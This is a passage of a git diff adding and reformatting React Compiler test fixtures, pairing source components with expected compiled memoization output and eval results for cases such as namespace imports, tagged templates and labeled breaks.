@@ -0,0 +1,177 @@
+
+## Input
+
+```javascript
+import {useMemo} from 'react';
+import * as SharedRuntime from 'shared-runtime';
+
+export function Component({a, b}) {
+  const item1 = useMemo(() => ({a}), [a]);
+  const item2 = useMemo(() => ({b}), [b]);
+  const items = useMemo(() => {
+    const items = [];
+    SharedRuntime.typedArrayPush(items, item1);
+    SharedRuntime.typedArrayPush(items, item2);
+    return items;
+  }, [item1, item2]);
+
+  return (
+    <>
+      <SharedRuntime.ValidateMemoization inputs={[a]} output={items[0]} />
+      <SharedRuntime.ValidateMemoization inputs={[b]} output={items[1]} />
+      <SharedRuntime.ValidateMemoization inputs={[a, b]} output={items} />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 1, b: 2},
+    {a: 2, b: 2},
+    {a: 3, b: 2},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useMemo } from "react";
+import * as SharedRuntime from "shared-runtime";
+
+export function Component(t0) {
+  const $ = _c(27);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a) {
+    t1 = { a };
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const item1 = t1;
+  let t2;
+  if ($[2] !== b) {
+    t2 = { b };
+    $[2] = b;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const item2 = t2;
+  let items;
+  if ($[4] !== item1 || $[5] !== item2) {
+    items = [];
+    SharedRuntime.typedArrayPush(items, item1);
+    SharedRuntime.typedArrayPush(items, item2);
+    $[4] = item1;
+    $[5] = item2;
+    $[6] = items;
+  } else {
+    items = $[6];
+  }
+  const items_0 = items;
+  let t3;
+  if ($[7] !== a) {
+    t3 = [a];
+    $[7] = a;
+    $[8] = t3;
+  } else {
+    t3 = $[8];
+  }
+  let t4;
+  if ($[9] !== items_0[0] || $[10] !== t3) {
+    t4 = <SharedRuntime.ValidateMemoization inputs={t3} output={items_0[0]} />;
+    $[9] = items_0[0];
+    $[10] = t3;
+    $[11] = t4;
+  } else {
+    t4 = $[11];
+  }
+  let t5;
+  if ($[12] !== b) {
+    t5 = [b];
+    $[12] = b;
+    $[13] = t5;
+  } else {
+    t5 = $[13];
+  }
+  let t6;
+  if ($[14] !== items_0[1] || $[15] !== t5) {
+    t6 = <SharedRuntime.ValidateMemoization inputs={t5} output={items_0[1]} />;
+    $[14] = items_0[1];
+    $[15] = t5;
+    $[16] = t6;
+  } else {
+    t6 = $[16];
+  }
+  let t7;
+  if ($[17] !== a || $[18] !== b) {
+    t7 = [a, b];
+    $[17] = a;
+    $[18] = b;
+    $[19] = t7;
+  } else {
+    t7 = $[19];
+  }
+  let t8;
+  if ($[20] !== items_0 || $[21] !== t7) {
+    t8 = <SharedRuntime.ValidateMemoization inputs={t7} output={items_0} />;
+    $[20] = items_0;
+    $[21] = t7;
+    $[22] = t8;
+  } else {
+    t8 = $[22];
+  }
+  let t9;
+  if ($[23] !== t4 || $[24] !== t6 || $[25] !== t8) {
+    t9 = (
+      <>
+        {t4}
+        {t6}
+        {t8}
+      </>
+    );
+    $[23] = t4;
+    $[24] = t6;
+    $[25] = t8;
+    $[26] = t9;
+  } else {
+    t9 = $[26];
+  }
+  return t9;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 1, b: 0 },
+    { a: 1, b: 1 },
+    { a: 1, b: 2 },
+    { a: 2, b: 2 },
+    { a: 3, b: 2 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0],"output":{"a":0}}</div><div>{"inputs":[0],"output":{"b":0}}</div><div>{"inputs":[0,0],"output":[{"a":0},{"b":0}]}</div>
+<div>{"inputs":[1],"output":{"a":1}}</div><div>{"inputs":[0],"output":{"b":0}}</div><div>{"inputs":[1,0],"output":[{"a":1},{"b":0}]}</div>
+<div>{"inputs":[1],"output":{"a":1}}</div><div>{"inputs":[1],"output":{"b":1}}</div><div>{"inputs":[1,1],"output":[{"a":1},{"b":1}]}</div>
+<div>{"inputs":[1],"output":{"a":1}}</div><div>{"inputs":[2],"output":{"b":2}}</div><div>{"inputs":[1,2],"output":[{"a":1},{"b":2}]}</div>
+<div>{"inputs":[2],"output":{"a":2}}</div><div>{"inputs":[2],"output":{"b":2}}</div><div>{"inputs":[2,2],"output":[{"a":2},{"b":2}]}</div>
+<div>{"inputs":[3],"output":{"a":3}}</div><div>{"inputs":[2],"output":{"b":2}}</div><div>{"inputs":[3,2],"output":[{"a":3},{"b":2}]}</div>
+<div>{"inputs":[0],"output":{"a":0}}</div><div>{"inputs":[0],"output":{"b":0}}</div><div>{"inputs":[0,0],"output":[{"a":0},{"b":0}]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture-namespace-import.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture-namespace-import.tsx
new file mode 100644
index 000000000000..6479df9a5a86
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture-namespace-import.tsx
@@ -0,0 +1,35 @@
+import {useMemo} from 'react';
+import * as SharedRuntime from 'shared-runtime';
+
+export function Component({a, b}) {
+  const item1 = useMemo(() => ({a}), [a]);
+  const item2 = useMemo(() => ({b}), [b]);
+  const items = useMemo(() => {
+    const items = [];
+    SharedRuntime.typedArrayPush(items, item1);
+    SharedRuntime.typedArrayPush(items, item2);
+    return items;
+  }, [item1, item2]);
+
+  return (
+    <>
+      <SharedRuntime.ValidateMemoization inputs={[a]} output={items[0]} />
+      <SharedRuntime.ValidateMemoization inputs={[b]} output={items[1]} />
+      <SharedRuntime.ValidateMemoization inputs={[a, b]} output={items} />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 1, b: 2},
+    {a: 2, b: 2},
+    {a: 3, b: 2},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture.expect.md
new file mode 100644
index 000000000000..a3b34b0274a7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture.expect.md
@@ -0,0 +1,177 @@
+
+## Input
+
+```javascript
+import {useMemo} from 'react';
+import {typedArrayPush, ValidateMemoization} from 'shared-runtime';
+
+export function Component({a, b}) {
+  const item1 = useMemo(() => ({a}), [a]);
+  const item2 = useMemo(() => ({b}), [b]);
+  const items = useMemo(() => {
+    const items = [];
+    typedArrayPush(items, item1);
+    typedArrayPush(items, item2);
+    return items;
+  }, [item1, item2]);
+
+  return (
+    <>
+      <ValidateMemoization inputs={[a]} output={items[0]} />
+      <ValidateMemoization inputs={[b]} output={items[1]} />
+      <ValidateMemoization inputs={[a, b]} output={items} />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 1, b: 2},
+    {a: 2, b: 2},
+    {a: 3, b: 2},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useMemo } from "react";
+import { typedArrayPush, ValidateMemoization } from "shared-runtime";
+
+export function Component(t0) {
+  const $ = _c(27);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a) {
+    t1 = { a };
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const item1 = t1;
+  let t2;
+  if ($[2] !== b) {
+    t2 = { b };
+    $[2] = b;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const item2 = t2;
+  let items;
+  if ($[4] !== item1 || $[5] !== item2) {
+    items = [];
+    typedArrayPush(items, item1);
+    typedArrayPush(items, item2);
+    $[4] = item1;
+    $[5] = item2;
+    $[6] = items;
+  } else {
+    items = $[6];
+  }
+  const items_0 = items;
+  let t3;
+  if ($[7] !== a) {
+    t3 = [a];
+    $[7] = a;
+    $[8] = t3;
+  } else {
+    t3 = $[8];
+  }
+  let t4;
+  if ($[9] !== items_0[0] || $[10] !== t3) {
+    t4 = <ValidateMemoization inputs={t3} output={items_0[0]} />;
+    $[9] = items_0[0];
+    $[10] = t3;
+    $[11] = t4;
+  } else {
+    t4 = $[11];
+  }
+  let t5;
+  if ($[12] !== b) {
+    t5 = [b];
+    $[12] = b;
+    $[13] = t5;
+  } else {
+    t5 = $[13];
+  }
+  let t6;
+  if ($[14] !== items_0[1] || $[15] !== t5) {
+    t6 = <ValidateMemoization inputs={t5} output={items_0[1]} />;
+    $[14] = items_0[1];
+    $[15] = t5;
+    $[16] = t6;
+  } else {
+    t6 = $[16];
+  }
+  let t7;
+  if ($[17] !== a || $[18] !== b) {
+    t7 = [a, b];
+    $[17] = a;
+    $[18] = b;
+    $[19] = t7;
+  } else {
+    t7 = $[19];
+  }
+  let t8;
+  if ($[20] !== items_0 || $[21] !== t7) {
+    t8 = <ValidateMemoization inputs={t7} output={items_0} />;
+    $[20] = items_0;
+    $[21] = t7;
+    $[22] = t8;
+  } else {
+    t8 = $[22];
+  }
+  let t9;
+  if ($[23] !== t4 || $[24] !== t6 || $[25] !== t8) {
+    t9 = (
+      <>
+        {t4}
+        {t6}
+        {t8}
+      </>
+    );
+    $[23] = t4;
+    $[24] = t6;
+    $[25] = t8;
+    $[26] = t9;
+  } else {
+    t9 = $[26];
+  }
+  return t9;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 1, b: 0 },
+    { a: 1, b: 1 },
+    { a: 1, b: 2 },
+    { a: 2, b: 2 },
+    { a: 3, b: 2 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0],"output":{"a":0}}</div><div>{"inputs":[0],"output":{"b":0}}</div><div>{"inputs":[0,0],"output":[{"a":0},{"b":0}]}</div>
+<div>{"inputs":[1],"output":{"a":1}}</div><div>{"inputs":[0],"output":{"b":0}}</div><div>{"inputs":[1,0],"output":[{"a":1},{"b":0}]}</div>
+<div>{"inputs":[1],"output":{"a":1}}</div><div>{"inputs":[1],"output":{"b":1}}</div><div>{"inputs":[1,1],"output":[{"a":1},{"b":1}]}</div>
+<div>{"inputs":[1],"output":{"a":1}}</div><div>{"inputs":[2],"output":{"b":2}}</div><div>{"inputs":[1,2],"output":[{"a":1},{"b":2}]}</div>
+<div>{"inputs":[2],"output":{"a":2}}</div><div>{"inputs":[2],"output":{"b":2}}</div><div>{"inputs":[2,2],"output":[{"a":2},{"b":2}]}</div>
+<div>{"inputs":[3],"output":{"a":3}}</div><div>{"inputs":[2],"output":{"b":2}}</div><div>{"inputs":[3,2],"output":[{"a":3},{"b":2}]}</div>
+<div>{"inputs":[0],"output":{"a":0}}</div><div>{"inputs":[0],"output":{"b":0}}</div><div>{"inputs":[0,0],"output":[{"a":0},{"b":0}]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture.tsx
new file mode 100644
index 000000000000..3afef5439bec
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture.tsx
@@ -0,0 +1,35 @@
+import {useMemo} from 'react';
+import {typedArrayPush, ValidateMemoization} from 'shared-runtime';
+
+export function Component({a, b}) {
+  const item1 = useMemo(() => ({a}), [a]);
+  const item2 = useMemo(() => ({b}), [b]);
+  const items = useMemo(() => {
+    const items = [];
+    typedArrayPush(items, item1);
+    typedArrayPush(items, item2);
+    return items;
+  }, [item1, item2]);
+
+  return (
+    <>
+      <ValidateMemoization inputs={[a]} output={items[0]} />
+      <ValidateMemoization inputs={[b]} output={items[1]} />
+      <ValidateMemoization inputs={[a, b]} output={items} />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 1, b: 2},
+    {a: 2, b: 2},
+    {a: 3, b: 2},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-tagged-template-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-tagged-template-expression.expect.md
new file mode 100644
index 000000000000..03bfef9fb2ef
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-tagged-template-expression.expect.md
@@ -0,0 +1,106 @@
+
+## Input
+
+```javascript
+import {graphql} from 'shared-runtime';
+
+export function Component({a, b}) {
+  const fragment = graphql`
+    fragment Foo on User {
+      name
+    }
+  `;
+  return <div>{fragment}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 1, b: 2},
+    {a: 2, b: 2},
+    {a: 3, b: 2},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { graphql } from "shared-runtime";
+
+export function Component(t0) {
+  const $ = _c(1);
+  const fragment = graphql`
+    fragment Foo on User {
+      name
+    }
+  `;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = <div>{fragment}</div>;
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 1, b: 0 },
+    { a: 1, b: 1 },
+    { a: 1, b: 2 },
+    { a: 2, b: 2 },
+    { a: 3, b: 2 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>
+    fragment Foo on User {
+      name
+    }
+  </div>
+<div>
+    fragment Foo on User {
+      name
+    }
+  </div>
+<div>
+    fragment Foo on User {
+      name
+    }
+  </div>
+<div>
+    fragment Foo on User {
+      name
+    }
+  </div>
+<div>
+    fragment Foo on User {
+      name
+    }
+  </div>
+<div>
+    fragment Foo on User {
+      name
+    }
+  </div>
+<div>
+    fragment Foo on User {
+      name
+    }
+  </div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-tagged-template-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-tagged-template-expression.js
new file mode 100644
index 000000000000..872d6b8f6fda
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-tagged-template-expression.js
@@ -0,0 +1,24 @@
+import {graphql} from 'shared-runtime';
+
+export function Component({a, b}) {
+  const fragment = graphql`
+    fragment Foo on User {
+      name
+    }
+  `;
+  return <div>{fragment}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 1, b: 2},
+    {a: 2, b: 2},
+    {a: 3, b: 2},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-field-load-binary-op.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-field-load-binary-op.expect.md
index 3bb448d26d07..0ea9172e85e3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-field-load-binary-op.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-field-load-binary-op.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component() {
-  let x = { u: makeSomePrimitive(), v: makeSomePrimitive() };
+  let x = {u: makeSomePrimitive(), v: makeSomePrimitive()};
   let u = x.u;
   let v = x.v;
   if (u > v) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-field-load-binary-op.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-field-load-binary-op.js
index eb8384313c42..9ae3ad795371 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-field-load-binary-op.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-field-load-binary-op.js
@@ -1,5 +1,5 @@
 function component() {
-  let x = { u: makeSomePrimitive(), v: makeSomePrimitive() };
+  let x = {u: makeSomePrimitive(), v: makeSomePrimitive()};
   let u = x.u;
   let v = x.v;
   if (u > v) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-polymorphic.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-polymorphic.expect.md
index d100dadffe97..f49cc73b2939 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-polymorphic.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-polymorphic.expect.md
@@ -29,7 +29,6 @@ function component() {
   let x;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const o = {};
-
     x = {};
 
     x.t = p;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unary-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unary-expr.expect.md
index 405e26f79303..399be048d550 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unary-expr.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unary-expr.expect.md
@@ -2,8 +2,9 @@
 ## Input
 
 ```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
 function component(a) {
-  let t = { t: a };
+  let t = {t: a};
   let z = +t.t;
   let q = -t.t;
   let p = void t.t;
@@ -11,13 +12,13 @@ function component(a) {
   let m = !t.t;
   let e = ~t.t;
   let f = typeof t.t;
-  return { z, p, q, n, m, e, f };
+  return {z, p, q, n, m, e, f};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -25,7 +26,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false
 function component(a) {
   const $ = _c(8);
   const t = { t: a };
@@ -38,22 +39,22 @@ function component(a) {
   const f = typeof t.t;
   let t0;
   if (
-    $[0] !== z ||
-    $[1] !== p ||
-    $[2] !== q ||
+    $[0] !== e ||
+    $[1] !== f ||
+    $[2] !== m ||
     $[3] !== n ||
-    $[4] !== m ||
-    $[5] !== e ||
-    $[6] !== f
+    $[4] !== p ||
+    $[5] !== q ||
+    $[6] !== z
   ) {
     t0 = { z, p, q, n, m, e, f };
-    $[0] = z;
-    $[1] = p;
-    $[2] = q;
+    $[0] = e;
+    $[1] = f;
+    $[2] = m;
     $[3] = n;
-    $[4] = m;
-    $[5] = e;
-    $[6] = f;
+    $[4] = p;
+    $[5] = q;
+    $[6] = z;
     $[7] = t0;
   } else {
     t0 = $[7];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unary-expr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unary-expr.js
index 8447e500b164..a367653dfd9e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unary-expr.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unary-expr.js
@@ -1,5 +1,6 @@
+// @enablePreserveExistingMemoizationGuarantees:false
 function component(a) {
-  let t = { t: a };
+  let t = {t: a};
   let z = +t.t;
   let q = -t.t;
   let p = void t.t;
@@ -7,11 +8,11 @@ function component(a) {
   let m = !t.t;
   let e = ~t.t;
   let f = typeof t.t;
-  return { z, p, q, n, m, e, f };
+  return {z, p, q, n, m, e, f};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unclosed-eslint-suppression-skips-all-components.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unclosed-eslint-suppression-skips-all-components.expect.md
new file mode 100644
index 000000000000..a55ca6e37139
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unclosed-eslint-suppression-skips-all-components.expect.md
@@ -0,0 +1,39 @@
+
+## Input
+
+```javascript
+// @panicThreshold:"none" @validateExhaustiveMemoizationDependencies:false
+
+// unclosed disable rule should affect all components
+/* eslint-disable react-hooks/rules-of-hooks */
+
+function ValidComponent1(props) {
+  return <div>Hello World!</div>;
+}
+
+function ValidComponent2(props) {
+  return <div>{props.greeting}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+// @panicThreshold:"none" @validateExhaustiveMemoizationDependencies:false
+
+// unclosed disable rule should affect all components
+/* eslint-disable react-hooks/rules-of-hooks */
+
+function ValidComponent1(props) {
+  return <div>Hello World!</div>;
+}
+
+function ValidComponent2(props) {
+  return <div>{props.greeting}</div>;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unclosed-eslint-suppression-skips-all-components.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unclosed-eslint-suppression-skips-all-components.js
new file mode 100644
index 000000000000..98308be1f820
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unclosed-eslint-suppression-skips-all-components.js
@@ -0,0 +1,12 @@
+// @panicThreshold:"none" @validateExhaustiveMemoizationDependencies:false
+
+// unclosed disable rule should affect all components
+/* eslint-disable react-hooks/rules-of-hooks */
+
+function ValidComponent1(props) {
+  return <div>Hello World!</div>;
+}
+
+function ValidComponent2(props) {
+  return <div>{props.greeting}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unconditional-break-label.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unconditional-break-label.expect.md
index b67d0c9a8e8f..af87051552c5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unconditional-break-label.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unconditional-break-label.expect.md
@@ -13,8 +13,8 @@ function foo(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unconditional-break-label.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unconditional-break-label.js
index 61887c594cc8..d53a5556a1f6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unconditional-break-label.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unconditional-break-label.js
@@ -9,6 +9,6 @@ function foo(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-loop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-loop.expect.md
index 5675c77d2cd7..ed9e838c805f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-loop.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-loop.expect.md
@@ -35,6 +35,7 @@ function useHook(end) {
     log = [];
     for (let i = 0; i < end + 1; i++) {
       log.push(`${i} @A`);
+
       if (i === end) {
         break;
       }
@@ -48,6 +49,7 @@ function useHook(end) {
   } else {
     log = $[1];
   }
+
   return log;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-switch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-switch.expect.md
index f54361f7bbb9..e95538ff52fa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-switch.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-switch.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { CONST_STRING0 } from "shared-runtime";
+import {CONST_STRING0} from 'shared-runtime';
 
 function useHook(cond) {
   const log = [];
@@ -40,14 +40,15 @@ function useHook(cond) {
     log = [];
     bb0: switch (CONST_STRING0) {
       case CONST_STRING0: {
-        log.push(`@A`);
+        log.push("@A");
+
         if (cond) {
           break bb0;
         }
 
-        log.push(`@B`);
+        log.push("@B");
 
-        log.push(`@C`);
+        log.push("@C");
       }
     }
     $[0] = cond;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-switch.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-switch.ts
index 90fd35ce2f2b..01ec2f6cfc3c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-switch.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-switch.ts
@@ -1,4 +1,4 @@
-import { CONST_STRING0 } from "shared-runtime";
+import {CONST_STRING0} from 'shared-runtime';
 
 function useHook(cond) {
   const log = [];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unmemoized-nonreactive-dependency-is-pruned-as-dependency.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unmemoized-nonreactive-dependency-is-pruned-as-dependency.expect.md
index 96ac447902bd..87ce5b5b287e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unmemoized-nonreactive-dependency-is-pruned-as-dependency.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unmemoized-nonreactive-dependency-is-pruned-as-dependency.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { mutate, useNoAlias } from "shared-runtime";
+import {mutate, useNoAlias} from 'shared-runtime';
 
 function Component(props) {
   // Here `x` cannot be memoized bc its mutable range spans a hook call:
@@ -17,7 +17,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
@@ -31,6 +31,7 @@ function Component(props) {
   const x = [];
   useNoAlias();
   mutate(x);
+
   return <div>{x}</div>;
 }
 
@@ -42,4 +43,4 @@ export const FIXTURE_ENTRYPOINT = {
 ```
       
 ### Eval output
-(kind: ok) <div></div>
\ No newline at end of file
+(kind: ok) <div>joe</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unmemoized-nonreactive-dependency-is-pruned-as-dependency.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unmemoized-nonreactive-dependency-is-pruned-as-dependency.js
index d2d39122a87a..69885a8db4a7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unmemoized-nonreactive-dependency-is-pruned-as-dependency.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unmemoized-nonreactive-dependency-is-pruned-as-dependency.js
@@ -1,4 +1,4 @@
-import { mutate, useNoAlias } from "shared-runtime";
+import {mutate, useNoAlias} from 'shared-runtime';
 
 function Component(props) {
   // Here `x` cannot be memoized bc its mutable range spans a hook call:
@@ -13,5 +13,5 @@ function Component(props) {
 
